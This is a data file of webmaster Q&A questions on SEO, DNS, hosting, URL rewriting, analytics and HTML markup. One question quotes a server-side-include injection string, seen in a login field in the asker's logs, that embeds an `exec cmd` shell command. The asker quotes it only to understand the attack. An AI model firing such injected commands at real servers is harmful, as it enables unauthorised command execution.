{"id":"52131","title":"Almost identical ip address, is this the same user…?","text":"i 'm the administrador of a forum and on the admin control panel i can see the ip assign to the users i have 3 specific users with the following ip user1: 95.169.240.54 user2: 95.169.240.177 user3: 95.169.240.220 As you can see, the ip is almost the same, and if i look at the site http:\/\/whatismyipaddress.com\/ i see that they are from the same organization, etc... So, can i say that this is the same user? 90% the same, 50, 40... what percentage (if any) Thanks"}
{"id":"20749","title":"Is this Sitemap code correct?","text":"I'd like to check whether I have any of the code not as it should be in my Sitemap file. Not sure if this is too general a question for here... If it's an ok question, here's the sitemap URL: `http:\/\/wordfruit.com\/sitemap.xml`"}
{"id":"6923","title":"Should menu titles (h1, h2, h3...) be inside or outside the <nav> tag?","text":"Let's say I want to write a simple menu in HTML5. Should I write like this: <h1>My Menu<\/h1> <h2>Submenu 1<\/h2> <nav> <ul> <li><a href=\"#\">Link 1<\/a><\/li> <li><a href=\"#\">Link 2<\/a><\/li> ... <\/ul> <\/nav> <h2>Submenu 2<\/h2> <nav> <ul> <li><a href=\"#\">Link 1<\/a><\/li> <li><a href=\"#\">Link 2<\/a><\/li> ... <\/ul> <\/nav> Or like this: <nav> <h1>My Menu<\/h1> <h2>Submenu 1<\/h2> <ul> <li><a href=\"#\">Link 1<\/a><\/li> <li><a href=\"#\">Link 2<\/a><\/li> ... <\/ul> <h2>Submenu 2<\/h2> <ul> <li><a href=\"#\">Link 1<\/a><\/li> <li><a href=\"#\">Link 2<\/a><\/li> ... <\/ul> <\/nav> In other words, should the titles be inside or outside the `<nav>` tag? Thanks."}
{"id":"100","title":"Should I still use Flash or Silverlight?","text":"There's been a lot of controversy over the future (and current) use of Flash and the adoption of Silverlight. Should I continue to use it if I am already or should I use something else, like HTML5?"}
{"id":"107","title":"Proper sitemap.xml setup","text":"I have a dynamic site which has many (well, less than 50) users. Each user is allowed to create as many pages as they want. I know that there is a limit to how many pages you can be listed in sitemap.xml, and for now I am under that limit, but I would like to know what the best way to enable search engines to know (all?) about my user's pages while still being under that limit even if I have more than the limit."}
{"id":"28414","title":"How often does Dreamhost change IP Addresses","text":"So I just migrated our site to dreamhost because they are free for non- profits. However, right after I switched the nameservers over to them they changed the IP address of the site. So first they propagated out IP address x.x.x.180, then they switched it to x.x.x.178 and had to propagate that out. Point being it meant a lot of downtime since a lot of big DNS servers (like google) thought the address was still x.x.x.180 for up to 5 hours after they switched it. This is compounded by the fact that most our visitors to the site live here in Unalaska and we have local DNS servers that take a LONG time to update (like a day or more) since we get all our internet over satellite. So every time Dreamhost changes our IP address it can mean > a day of downtime for us in our community. So my question is, how often do these changes take place? I asked Dreamhost support and they gave me a vague response: > I wish I could say, however those changes happen at random times. They're > not that frequent, maybe even months between updates, but there's no way to > know for sure. First, I hardly believe that they don't know their own system well enough to give me at least some estimate or average. Second, is it worth looking at other providers so that I can get a static IP address? We were hosting the site here originally and hadn't run into this problem since we have a static IP here. We don't get a ton of traffic but usually around 500 hits a day or so, sometimes more if our stories are featured on statewide or national news broadcasts. So hours of downtime every time Dreamhost \"randomly\" decides to move our server location can be bad for our readership."}
{"id":"29802","title":"Why doesn't visitor flow drop-off and bounce rate correlate in Google Analytics?","text":"I've been looking at the Visitor Flow report in Google Analytics, but something doesn't add up. For the starting pages it says that there were 181K visits and 123K drop-offs. If the starting page is the first page visited on the site and the drop offs are people who leave the site, this suggests to me that you can calculate the bounce rate from these figures. I calculate the bounce rate to be (123K\/181K) x 100 = 68%. However, the bounce rate for the site given in the overview report is actually 19.89%. Can anyone explain why the actual bounce rate is different from my calculated bounce rate (calculated using the drop off and starting page visits)? I must have made an incorrect assumption somewhere, but after a lot of head scratching I still can't see where!"}
{"id":"18342","title":"Joomla 1.5.22 stripping html code from article html editor","text":"If I create a new article in Joomla 1.5.22, and insert some Youtube video embed code (iframe etc) into the article, then press Apply in the HTML editor popup, I get a message like \"article text cannot be empty:. If I include some paragraph text with the Youtube code, the paragraph is saved and the Youtube code is removed. Why does this occur? How do I prevent it?"}
{"id":"36336","title":"How do I fix the paths of my website?","text":"I have Joomla 2.5.7 in my client's server updated recently from 1.6 to 1.7. I did not make that site but I am responsible for it now. I prefer to make a site from zero. Now users area clicking on the menu options and when joomla send them to a meta-url like `http:\/\/iap.pa.gov.br\/acervo` they get the message `404 The requested URL \/acervo was not found on this server.` Would that be because they moved joomla folder from the root to root\/iap (name of the site)? If it is, what is the configuration to adapt to that new folder?"}
{"id":"36337","title":"How to know my free disk space on web hosting server?","text":"I have got some work from my friend for updating his website. Earlier his website was made by some other person and he used to maintain all the stuff. Now that developer has given only the ftp username and password to my friend. He asks me to update his website. But the problem is I don't know how to access the things for this particular web hosting account like knowing the available free space, accesing email account, etc. I asked him about website control panel but he says that he doesn't know about. Is there any other site\/client program\/control panel that I can use to manage that website. So can any one help me out?"}
{"id":"36335","title":"Breadcrumb for multiple categories","text":"I post in multiple categories, so is it better to have: > Consulting > Services > Implementation > Service A > > Consulting > Services > Optimization > Service A > > Consulting > Services > Upgrade > Service A or, > Consulting > Services > Implementation, Optimization, Upgrade > Service A I was doing second way, the problem is google doesn't show 3rd set of crumbs. ie it only displays: **Consulting > Services** on search result. But having multiple breadcrumbs on the page doesn't look good. any suugestions? **Update For @PatomaS 's question** I mean 3 lines of breadcrumbs, see above i have posted same article (Service A) in 3 categories (Implementation, Optimization, Upgrade). So you can reach same article through 3 categories. So whats the best breadcrumb to display on article 'Service A'?"}
{"id":"36333","title":"Invalid Google markup rel=publisher","text":"Why is Google publisher HTML tag invalid according to W3C specification? Is there any way to correct this example: <a href=\"http:\/\/plus.google.com\/109469573972649651137?prsrc=3\" rel=\"publisher\" class=\"c3\">"}
{"id":"36331","title":"Newer constructs are recommended","text":"The World Wide Web consortium now regards the tag as outdated. Newer constructs are recommended.What's new?"}
{"id":"21926","title":"Will small random dynamic snippets break caching","text":"I am busy writing a WordPress plugin. Now most users have cache plugins installed, they cache the pages. I know also some webservers as nginx have php caching and whatnot. There are also things like memcached. Now I have to admit I do not know exactly how they work, if anyone have some good links on how they work I would be glad. Some links where it's explained simple, not to technical. Now the question. My plugin **displays different statistics** on posts, they are always different, will this break the caching of the page. To take is a step further, sometimes the statistics of the post needs updating, and there is a **small javascript snippet** added to the page. Now will these two action result in the page not caching, or am I ok."}
{"id":"21923","title":"I'm confused about encryption and SSL","text":"while my friends and I planning to run our own website, we're confused about the encryption where hackers can TAPPING or in social engineering it's WIRE TAPPING, but I don't know how do they call it in Computers today... Well guys, I just want to know how encryption works with websites if we are using PHP+MYSQL? Is it ok to use 1. user login ----> (PHP) encrypt inputted value then (PHP) will decrypt and validate it going to (MySQL) 2. user login ----> (PHP) encrypt inputted value and decrypt the (MySQL) data if they are similar... Is it similar if we use $_SESSION without encryption inside PHP going to MySQL?or PHP encryption also helps the manipulation of binaries?..I'm so confused T_T... In regards to what I stated above, can a hacker hook the data if the server uses $_SESSION? Is $_SESSION safe?... IF THE HACKER CAN HOOK it? is it necessary to use SSL on our website? and why do some Merchandise websites use SSL and likewise facebook also uses SSL? what is the best suit for you if there is no SSL? encrypting the DATA using PHP going to MySQL or even without encryption while the PHP server uses $_SESSION?..."}
{"id":"49169","title":"How to recommend that Google indexes some keywords?","text":"I've read many articles about SEO. I've tried to implement my knowledge on a site but I haven't gotten good results in 6 months. e.g.: I've used Google Webmaster Tools, sitemaps, title tags, keywords in paragraphs, etc. My Alexa rank is growing but Google detected some keywords that isn't my goal :-(. Is there a good way to focus on a keyword on search engines? How can I recommend Google to index some desired keywords? (They are available in my pages.)"}
{"id":"18347","title":"Creating an iPhone compatible website with iWeb","text":"I'm starting a simple, static site with iWeb (latest version) and was wondering if there are any built-in or available resources for making the site compatible with mobile devices?"}
{"id":"55062","title":"Google Places review - owner or business name?","text":"I currently manage a Google Places Business, where we have received several reviews. I am wanting to respond to these reviews but I want to respond as the company, not as myself. I am the 'owner' of the page, it is through my personal Gmail address. Like Facebook, when replying to comments and posts by other users on the business' wall, you reply as the actual business, not as your personal name. Is this the case with Google Places? If not, how can I get it so the reviews are posted as the company name, not my personal name?"}
{"id":"28849","title":"Google SEO - remove site map from search result","text":"I am an amateur to SEO. I have a new site recently and submitted the site map to GWT. But after several weeks. I found when I search my domain in google. The site map also appears to be one of the links in the search result. How could I prevent if from showing up in the search result?"}
{"id":"48560","title":"Google indexing wrong domain that does not work","text":"Can anyone tell me why Google indexes a site http:\/\/0.3c.7aae.static.theplanet.com instead of the actual domain name (my domain was registered with webmaster tools). The aforementioned link was linking to my site, but has now become a broken link. Initially I tried 301 directs, but nothing worked. The hosting company cannot explain why. Leaving me wondering what to do? Any guidance would be appreciated. Thks"}
{"id":"48568","title":"An apache injection attack?","text":"I encountered a novel (to me anyway) form of injection attack in one of my logs login as <!--#exec cmd=\"ls ..\"--> Which looks like someone it trying to trigger sever side includes on an apache server, if the input text was echoed into an error message. Can apache even be configured to process SSI on it's output stream? Or is there some more subtle vulnerability it's trying to exploit?"}
{"id":"32773","title":"Apache: how to create subdomain on name-based virtualhost?","text":"i have name-based hosting, lets name it `my.address.com` - my friend have 'white' ip -`address.com` and gave me virtual machine than i can access via ssh, also, he made some magic with ports and now after install apache i could access \/var\/www on the `my.address.com`. So, the question is how can i make subdomain like `test.my.address.com`? There are should be some magick with Apache's Listen Directive, but i cant figure it finally. Also, i know how to create local-available sites with apache, but it is not the same."}
{"id":"55065","title":"Transfer domains without disrupting local email server","text":"Perhaps I am thinking about this wrong, but maybe some of you guys can help me on this one. I have a client who currently has a domain from Network Solutions and is hosted via GoDaddy. Additionally, he has his email service with GoDaddy as well, but it seems to be forwarded to his local server at work. How can I transfer hosting accounts without disrupting email service (or at least temporarily)? Some MX info via Godaddy: A @ Points to GoDaddy Host main Points to client's home server sw Points to client's home server MX @ Points to main.example.com @ Points to smtp.secureserver @ Points to mailstore1.secureserver"}
{"id":"24563","title":"Dynamically rewrite URLs upon the user's selection - is it possible?","text":"In my PHP based web application, there's a form that generates a URL according to the user's selection. The form has 7 different fields, each one of them affects the final URL, none of them is mandatory. The final URL can be: > > \/field1\/user_setting_of_field1\/field3\/user_setting_of_field3\/field6\/user_setting_of_field6\/ or just: > \/field4\/user_setting_of_field4 these URLs should be rewritten to- > > \/results.php?field1=user_setting_of_field1&field3=user_setting_of_field3&field6=user_setting_of_field6 and: > \/results.php?field4=user_setting_of_field4 Is it possible to create a single rewrite rule that will cover these variations? I'd hate to create different rewrite rule for every possible scenario, it'll take forever... I'm currently developing the app on a Windows machine with IIS 7.5, but will eventually deploy it to an Apache server. Is it possible in both? I currently need to solve it for the IIS environment, and later on for Apache."}
{"id":"16923","title":"How do I disallow an entire directory with robots.txt?","text":"I have two sites I am currently working on which is a shopping cart and another shopper...Both are under the same domain name so for example http:\/\/someurl.com\/first_url http:\/\/someurl.com\/second_url Both these urls have tons of pages below them http:\/\/someurl.com\/first_url\/product1 http:\/\/someurl.com\/first_url\/product2 http:\/\/someurl.com\/first_url\/product3 http:\/\/someurl.com\/second_url\/product1 http:\/\/someurl.com\/second_url\/product2 http:\/\/someurl.com\/second_url\/product3 How do I disallow the main url \/first_url and \/second_url to and all the subpages and sub directories ...I was thinking something like this but I don't know if this works or not and whether it was the correct syntax Disallow: \/first_url\/*\/ Disallow: \/second_url\/*\/"}
{"id":"44647","title":"Client asking for estimate to set up\/ configure his server","text":"I am building a web application for a client. I never set up a server using IIS. He needs me to configure the server to work with mySQL, php, and phpmyadmin. The server, is completely empty\/unconfigured version of IIS 6. I need to set it up so the web application I built is completely accessible on the www. Not sure how long this will take me. It may take anywhere from 10-50 hours, I am not sure. I worked on set up servers using IIS, I never configured one from scratch. I am afraid that troubleshooting, and getting everything working as it should may take me days... What would be a reasonable charge for this service? I appreciate any advice, Many thanks in advance!"}
{"id":"34394","title":"The concept of virtual host and DNS","text":"I have a dedicated server and a mydomain.com (bought from a hosting company). I want to host a website from my dedicated server with the domain mydomain.com i.e. when I enter mydomain.com from browser it should point to the IP(let's say X.X.X.X) of dedicated server(and a particular folder inside it). I have some following queries: **In Server** 1. I know I need to edit some of the files (like: host or hostname file) in the server but I do not know what exact file I need to edit. 2. How to add a Site enable or Site available in apache2 ? **In Hosting Company control Panel** 1. Which records to add (A or cname or anyother)? 2. Where Should I add DNS(in dedicated server section or domain name section)? 3. How it is going to affect the behaviour of the domain? in short the question is: **How the virtual host works & how to add DNS?**"}
{"id":"49489","title":"What's the most efficient & economical way to do GeoIP redirects for a high traffic site?","text":"So, I'm setting up a new potentially high traffic site that's made up of several simple static pages. We want to host it as efficiently as possible, as we're both on a non-existent budget and may have to deal with traffic spikes, so have been thinking CloudFlare, AWS S3\/CloudFront, or some similar service. However, the catch is we need the root page `\/` to redirect to `\/ccTLD`, for example: redirect to `\/us` for U.S. visitors or `\/au` for Australian visitors. Does anyone have any ideas on how we can best approach this? So far I'm thinking either we have to resort to using JavaScript which looks dodgy, or simply pushing \/ requests through to a VPS or EC2 instance, which creates a bottleneck I'd rather avoid."}
{"id":"7515","title":"Section\/Aside (HTML5)","text":"I read about `<section>` and `<aside>` on the WC3 site a whole ago, but I can't remember if an `<aside>` should be placed inside a `<section>` or directly beneath it. Does anybody know? E.g. Should it be like this?: <section>...<\/section> Or like this: <section>...<aside>...<\/aside>...<\/section> Thank you"}
{"id":"6205","title":"What user agent should I set?","text":"There is Ask bot, which sets this header: Mozilla\/2.0 (compatible; Ask Jeeves\/Teoma) Considering this, I have the following questions: * If I'm writing a web crawler named Goofy, what user agent should I use? * What is the difference if I put `Mozilla\/2.0` or `Mozilla\/5.0` ? Any other suggestions about how should I format my user agent to comply to the current standards are more than welcome."}
{"id":"54426","title":"Where do I find the Google tool for polling users about which option they like better on my website?","text":"I remember a while back seeing a service offered by Google where you could pay to have people see for example two different logos for your company and could ask people to vote for which they liked best. Anyone know what tools this was?"}
{"id":"12233","title":"Hosted web site builder for non-techies","text":"I'm looking for an easy-to-use, well-supported tool for building your own web site, that a non-technical person can understand. Preferably something web- based and hosted, so they have to do as little as possible to get started. Any recommendations? I want something I can recommend to friends and family, when they ask me how they can build a site for their business, wedding, etc.."}
{"id":"15719","title":"User generated articles, how to do meta description?","text":"If users submit a lot of good quality articles on the site, what is the best way to approach the meta description tag? I see two options: * Have a description box and rely on them to fill it sensibly and in a good quality way * Just exclude the meta description Method 1 is bad initially, but I'm willing to put time in going through and editing\/checking all of them on a permanent basis. Method 2 is employed by the stack exchange site, and lets the search bots extract the best part of the page in the SERP. Thoughts? Ideas? I'm thinking a badly formed description tag is more damaging than not having one at all at the end of the day. I don't expect content to ever become unwieldy and too much to manage."}
{"id":"41161","title":"Setting up domain name and email servers for VPS","text":"These are very beginner questions. I just got an instance of VPS with no domain name yet. The only way I can access my VPS is through SSH to a static IP. (1) How do I register a domain name and host it on my VPS? I know I can register a domain at some 3rd party registrar like GoDaddy, but how do I \"host\" that on my VPS? (2) How do I set up an email server that send emails and receive emails through the domain I register? What software do I need and how should I config it? Thanks a lot in advance"}
{"id":"15715","title":"Is Amazon the cheapest cloud provider?","text":"On AWS, bandwidth costs as little as $0.08 per GB and storage costs as little as $0.055 per GB. Are there any providers that charge less? These numbers end up being very costly for a web site that hosts pictures and videos, so I'm looking for cheaper alternatives."}
{"id":"41164","title":"How to handle duplicate content in a tabbed area?","text":"On my home page I have a tabbed section that loads the content via JavaScript. I have 5 tabs that can be clicked. For example, there's an \"about us\" tab that has a couple of paragraphs in it and a read more button at the bottom. The problem is, when you click on the \"read more\" button, you're taken to the aboutus.html page which contains those same two paragraphs that are on the home page. What's a good way to go about handling this? Or do I not even need to worry about it since it's only a couple of paragraphs?"}
{"id":"57870","title":"Disavow a subdomain?","text":"Disavow the domain `example.com`. What can I do if I want do disavow a subdomain? i.e. `spam.site.com`. I'm also assuming that if I were to disavow the domain it would include all subdomains?"}
{"id":"10562","title":"Uses of .htaccess files","text":"I only have a basic understanding of .htaccess files. What are some tasks that can be accomplished using them? What are good resources that would aid in learning how to use them on a more advanced level? What are downsides\/risks\/etc to using them? What are benefits to using them?"}
{"id":"9743","title":"can I forward \"referrer\" information to other address?","text":"I have two addresses for two servers: www.urlA.com www.urlB.com I have all my websites installed in www.urlB.com, but visitors recognize www.urlA.com primarily. I have www.urlA.com\/index.php as the following <?php header('Location: http:\/\/www.urlB.com\/'); ?> But, when I use this forwarding method, the tracking javascript in www.urlB.com cannot recognize where the visitors are from. I only obtain \"NO REFERRING LINK\" What should I do to do the following two jobs: 1. to forward urlA.com to urlB.com 2. to receive the referrer information"}
{"id":"32837","title":"Static Google +1 button","text":"Google+’ +1 button generator only shows options for generating dynamic buttons (i.e. via client-side scripting). For reasons related to German privacy & data protection law, this isn’t acceptable on our website: we need a _static link_ for users to click, without loading scripts or even iframes from third parties. Luckily, Facebook, Twitter and Google+ actually _allow_ providing sharing links via static URIs, as the related question “Google +1 something via a URL” shows. In particular, for Google+, the following link allows sharing a URI: https:\/\/plusone.google.com\/_\/+1\/confirm?url={url}&title={title} Unfortunately, _this does not **+1** the page_, even though the dialog goes as far as saying “You publicly recommended this as {your name here}”. But the page neither shows up in my “+1’s” on Google+, nor in the “+1 Reports” on Google Webmaster Tools. **Is there a way of +1’ing a page via a static URI?**"}
{"id":"26996","title":"Email forward to Exchange","text":"We have a linux Webserver and one of our clients wants us to host their email only, not their site itself. NetworkSolutions manages the domain name. They want us to get their incoming mail and have it sent to their internal Exchange2010 server. Is this doable? I assume all it would need to be is just the A, CNAME, and MX entries at NS forward to my server IP address, but how would I get it to the exchange server? Cpanel\/WHM based web server."}
{"id":"21437","title":"Which script for an audio sharing site?","text":"I am going to build an audio sharing site. I am familiar with Drupal but I hope there are some more 'Specialized' CMS\/Script for this purpose, whatever that is not ASP-based. So please suggest best candidates. It is OK if it is commercial, provided that it is proven to be robust."}
{"id":"32836","title":"How can a domain use its own nameservers?","text":"I have to change the MX DNS records for our company domain name and I've come across this odd situation: A whois search shows up that the nameservers for ourcompany.com are ns1.ourcompany.com and ns2.ourcompany.com. In the DNS settings at the registrar there are no A\/Cname records at all. However the nameservers are defined in the DNS settings for the domain on our dedicated server. (Registrar and host are two different companies). Using the DNS lookup on http:\/\/www.mxtoolbox.com\/ shows that ns2.ourcompany.com is reporting the correct IP for our dedicated server. Its all very odd... the DNS on the dedicated server doesn't seem to have much effect, but its odd that the dns at the registrar's end doesn't have any records. thanks for your help."}
{"id":"63209","title":"How can I get Google PR history of exact site?","text":"As some pages of my site have gotten n\/a of PR from Google, I need to see the history of PR's changing for those and other pages to estimate the situation and decide what to do. Where can I get the past PR's of exact site\/page?"}
{"id":"21433","title":"What's the best way to end a Web site?","text":"I have a Web site, built on ASP.NET MVC 3, that will be closing down completely. The domain will still be required for a few months, so during that time I'd like to display a single message on at least the main page. I'm thinking that standards would dictate to either have all requests directed to a single page via 301 Moved Permanently, or serve a 410 Gone for all requests. This is the first time I've completely closed a Web site, and while I hope I don't have to do it again soon, I'd like to know the preferred way to do this. (I'm completely open to tag suggestions. Closing a Web site doesn't seem to be popular topic, which I suppose is sort of a good thing.)"}
{"id":"63204","title":"Site is working with http:\/\/ not with http:\/\/www","text":"My site is working if i type it as `domain.com`. But If I type it as `www.domain.com` I get an error 404 page. The domain is registered with Google Apps for Business and the hosting is done with another company. I have some A records that are pointing the site to this server. However, as it appears the A records are only working halfway. What do I have to do to make it working for both `http:\/\/` and `http:\/\/www` ?"}
{"id":"30806","title":"Redirect subdomain (weblog) to new domain without access to .htaccess","text":"I have a blog that has PR 1 on a subdomain `aaaa.domain.com` of a blog server `domain.com`. Now I want to buy a domain `newdomain.com` and I want to tell google webmaster to redirect the old subdomain to this new domain and send traffic to my new domain. I can't access .htaccess to use a 301 redirect. The only thing that I can do is put html code in the html. How can I do this? When I use \"Change of Address\" in google webmaster it say:\"Restricted to root level domains only\"."}
{"id":"63206","title":"How to get detailed info about conversions with Google Analytics","text":"I have a single target page on my site, the \"Thank You for Signup\" page. I would like to answere simple questions about people who visited this page: * For each access where it came from? AdWords (from wich campaign?), Organic Saerch (with wich search, Referral (from where?) or direct? We have tried funels but it did not answere my questions. How can I do that?"}
{"id":"24159","title":"Advantage of using a domain purchasing service through your registrar vs. and independent domain buying service?","text":"Is there much of an advantage of using a domain purchasing service through your registrar vs. and independent domain buying service?"}
{"id":"24876","title":"Google Analytics API data for goals (funnels) doesn't match - how do they reconcile?","text":"I have a Google Analytics account with a well-functioning funnel made up of 4 goals. I can query the API and get the data out, but it does not match the funnel report in Analytics. Without getting into specific values, I can give you an example with faked data. Here's how the funnel might look: Shopping Cart 100 > 100 > 20 80 (80%) Address Page 5 > 85 > 25 60 (71%) Payment Page 2 > 62 > 10 52 (84%) Checkout 1 > 53 (49.07% funnel conversion rate) Okay, so you would **expect** the API to output data something like this: goal1Starts goal1Completions goal1Abandons 100 80 20 goal2Starts goal2Completions goal2Abandons 85 60 25 goal3Starts goal3Completions goal3Abandons 62 52 10 goal4Starts goal4Completions goal4Abandons 53 53 0 Instead, it's different. Firstly, the abandons are associated with the following goal (so goal1 always has 0 abandons and goal4 always has >0 abandons. Okay, I can work with that. What's confusing is that the numbers are always a little different. The goal1Completions always match the report, as do the goal4Completions, but everything else is off by a small amount. Sometimes it's only 2 visits, other times it's off by 50. For the report above here's the kind of results I would tend to get: goal1Starts goal1Completions goal1Abandons 100 100 0 goal2Starts goal2Completions goal2Abandons 105 84 21 goal3Starts goal3Completions goal3Abandons 90 65 25 goal4Starts goal4Completions goal4Abandons 58 53 5 Here's what I know: Goal(n)Completions + Goal(n)Abandons = Goal(n)Starts Goal(n)Starts >= Goal(n-1)Completions Goal(n)Starts - Goal(n-1)Completions != reported number entering at that level That third one is particularly disappointing. So, here's my question: What data do I need to pull from the API in order to recreate the counts in the Funnel report in Google Analytics? I don't need the pages exited to entering from - just the counts at every level."}
{"id":"32830","title":"Need to find hitchhiking websites\/apps","text":"I would like to fnd some hitchhiking websites or iPhone apps where I can find somebody who is driving and I can go with him the same day before making reservations too far in advance. Is there some website that can do that for Europe?"}
{"id":"58070","title":"URL Removal - Incorrect URL","text":"I have recently updated a website for a friend and found that the WordPress 'Hello World' page was showing in Google results. I used the URL removal tool and asked for this to be removed, however it removed the homepage so now it is not showing in Google, only the Hello World one is. I went back in and 'Cancelled' the request but it is still not showing, do I need to do anything else?"}
{"id":"8835","title":"Allowing users to create an email address","text":"I am creating a website and would like to allow users to create their own email forward. Basically, the site will allow groups to create pages on the site, each of which will be able to have its own domain name. I would like users to be able to automatically create an email address on the site that will forward any incoming emails to their own email account. Right now I have to manually set these up in my hosting account control panel but I'm hoping there is a way to do this automatically. Does anyone have experience with doing something similar?"}
{"id":"20584","title":"Multidomain website SEO strategy","text":"> **Possible Duplicate:** > Do dedicated IP addresses improve SEO? There are occasionally cases in which a client owns multiple domains for his business. For example a client may own landscaping.com, and also own newyork- landscaping.com and etc... I have a question regarding the SEO strategy for a business in such cases, assuming that there are 50 domains for different cities, and assuming that there is unique content on every one of those 50 domains. Is it better to have different IP addresses for each domain?"}
{"id":"8833","title":"Forcing SSL and www in .htaccess","text":"I'm looking for a way to force SSL and `www`. I've been able to force both separately but together I keep running into redirection issues. The following code works when handling a URL in this format: `http:\/\/example.com` and properly redirects to `https:\/\/www.example.com` but when the incoming URL is `https:\/\/example.com` it will not forward to `https:\/\/www.example.com` - Any suggestions? EDIT: it should also send `http:\/\/www.example.com` to `https:\/\/www.example.com`. RewriteCond %{REMOTE_ADDR} !127\\.0\\.0\\.0 RewriteCond %{SERVER_PORT} 80 RewriteCond %{HTTP_HOST} !^www.example\\.com$ RewriteRule ^(.*)$ https:\/\/www.example.com\/$1 [R,L]"}
{"id":"18924","title":"Google Webmaster Tools shows wrong keywords taken from the source code","text":"Google Webmaster Tools is shows wrong keywords for my site. For example, it shows > public_html > php > include_once and many more irrelevant keywords. I don't know why it's looking in the source code to find these keywords."}
{"id":"30329","title":"best\/simplest way to inform search engine of sitemap location","text":"AFAIK, there are 2 ways to make search engines aware of a sitemap's location: 1. Include an absolute link to it in `robots.txt` 2. Submit it to them directly. The relevant URLs are: http:\/\/www.google.com\/webmasters\/tools\/ping?sitemap=SITEMAP_URL http:\/\/www.bing.com\/webmaster\/ping.aspx?sitemap=SITEMAP_URL Where `SITEMAP_URL` is the absolute URL of the sitemap. Currently, I do both. Regarding (2), I have a job that runs automatically every day which submits the sitemap to Bing and Google. I don't think there's any reason to do (1) and (2), but I'm paranoid, so I do. I imagine you can avoid both (1) and (2) if you just make your sitemap accessible at a conventional URL (like robots.txt). What's the simplest and most reliable way to ensure that search engines can find your sitemap?"}
{"id":"52615","title":"SEO, better to start a new domain or it's also fine start over again on an existing one?","text":"I have a site that I'm going to close or replace with new content. Basically the site's topic is the same, but contents can't coexist for a bunch of reasons (e.g., different CMS, lack of time, different audience) For example let's say the site was about car tuning parts, now will be about car selling adverts. Old pages (about 5000) will all be dropped and new URLS will be created. What should I do? Since it's a 7 year-old domain (possibly trusted by Google) I want to try to take advantage of this fact if possible."}
{"id":"51284","title":"URL Rewrite in IIS 7.5","text":"I have a web site (hosted on IIS 7.5) that has bindings to four URLs. Something like: 1. www.example.com 2. example.com 3. www.example.net 4. example.net What I would like to accomplish using URL Rewrite is that: 1. Surfing to www.example.com will auto redirect to example.com (and return 301) 2. Surfing to example.net will auto redirect to www.example.net (and return 301) I tried using the URL Rewrite (I have no experience using this feature) using the IIS MANAGER > FEATURES > URL Rewrite > Add Rule > canonical domain name, but the problem is that then I can choose one address of those four, that will cause all the other three to be redirected to that, which is not what I need to do. Can you please help and advise? Is URL Rewrite is a good and possible way to do this?"}
{"id":"30631","title":"Can you search for code in google?","text":"can you search for code in google ? not just git hub ect but i mean live code so instead of searching by site content, search by sites source code ? (obviously only client side code)"}
{"id":"30322","title":"Alternative to Google Adsense which has good international coverage","text":"I have a technical blog (programming related) which has around 500 visit per days, 70% are international visitors and 30% are from US\/CA. Google Adsense disabled my account due to invalid clicks so I can't use them (no need to explain here, they suck hard and never respect and listen to the publishers' appeal) I have tried adbrite and recently using chitika but they almost give me nothing, e.g. **chitika** 13,865 Page Views 4 clicks $0.01 The performance is so poor even I don't want to mention about it. I am already putting a full top banner and a 350x200 box in article body. I am researching if any alternative would provide more revenue for my internation visitors or technical visitors. Thanks."}
{"id":"30321","title":"Should I submit my RSS feed as Google Sitemap?","text":"I currently have no sitemap for a website I'm creating. I do have an RSS feed which includes the N latest updated posts on the site. It doesn't include everything on the site though, just blog posts. Creating a full sitemap would be a bit of a hassle I think. 1. Should I submit the feed instead? 2. Is there a difference between using a regular sitemap and a feed? 3. Is it important to have a sitemap? What happens when you do\/don't?"}
{"id":"30634","title":"2048 bit SSL overhead","text":"Can you guys help me learn some ssl networking basics plz? * What is a SSL transaction (a full handshake?) * Why do people think 2k ssl will melt netscalers (ssl trans\/sec exceed netscaler max ssl trans\/sec?) * Can't you install ssl on a cdn's edge nodes to save thecomputational overhead on netscalers? Thanks"}
{"id":"30637","title":"Placing h2 and h3 tags around words in paragraphs","text":"If I have a page with an `<h1>` heading and a long paragraph, is it ok to write the paragraph (see below - with the h tags mixed with broken p tags to make up the whole block of text) and just style it so it looks all the same so that I get the benefit of using `<h2>` and `<h3>` tags? I'm aware this is not the 'proper' use of the H tags as they're meant to be headings but can I use them like this, as the site isn't built using multiple headings on the same page? <h1>Red shoes<\/h1> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus id dui id mi consectetur tincidunt. Mauris at sem non urna congue eleifend sed quis nulla. Aenean nisl porta eget auctor vel, semper eget massa.<\/p> <h2>Red shoes<\/h2> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus id dui id mi consectetur tincidunt. Mauris at sem non urna congue eleifend sed quis nulla. Aenean nisl porta eget auctor vel, semper eget massa.<\/p> <h3>red shoes<\/h3> <p>Lorem ipsum.<\/p> (please ignore over optimization this is just for illustrative purposes)"}
{"id":"26805","title":"Facebook comment and other commenting system for SEO","text":"Lately i see some of big websites begin using Facebook commenting system in their wordpress websites. There are also websites that stick to commenting system like Disqus, IntenseDebate and Livefyre. My question is between Facebook Comment and Comment System (Disqus, IntenseDebate and Livefyre) which one is better in terms of SEO?"}
{"id":"9225","title":"Is my Document Type Definition Still Up to Date?","text":"currently all my php generated rich html webpages start with this line, which I have been adding to my tempaltes YEARS ago... <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> # UPDATE **Who Should Use Which Doctype? When Should One Change Doctype?** When I remove this line all still works fine. Is it still essentially needed to put all that at the top of my pages? What are my alternatives? Thanks very much for your suggestions."}
{"id":"58690","title":"Using Analytics and URL forwarding to count conversion rate in emails","text":"Google analytics offers the nice feature of letting one know, where a user is coming from. We are currently sending out emails containing links to our website and I would like to know how many people click on that link. For that I was hoping that there exists some Web service which allows one to register a url www.myurl.com. The Web service would then generate a new url something like www.service.com\/myurl which redirects to wherever myurl.com was pointing in the first place. By including the redirect url in the emails, it would easy to see how many people actually clicked on the link. If there is an alliterative solution for the above scenario I am more than interested in learning about it."}
{"id":"58693","title":"Page loading indicator","text":"I have a page, and it takes a few seconds to load. I know, and I will make the site load faster (and not the question), but due to animations animating the site in, I am thinking of adding a page loading indicator. This will be injected trough JavaScript and removed again by JavaScript, and removed trough JavaScript, making a non JavaScript page work as normal. Is this a good or bad practice to add a page loader indicator on a standard HTML\/CSS based site?"}
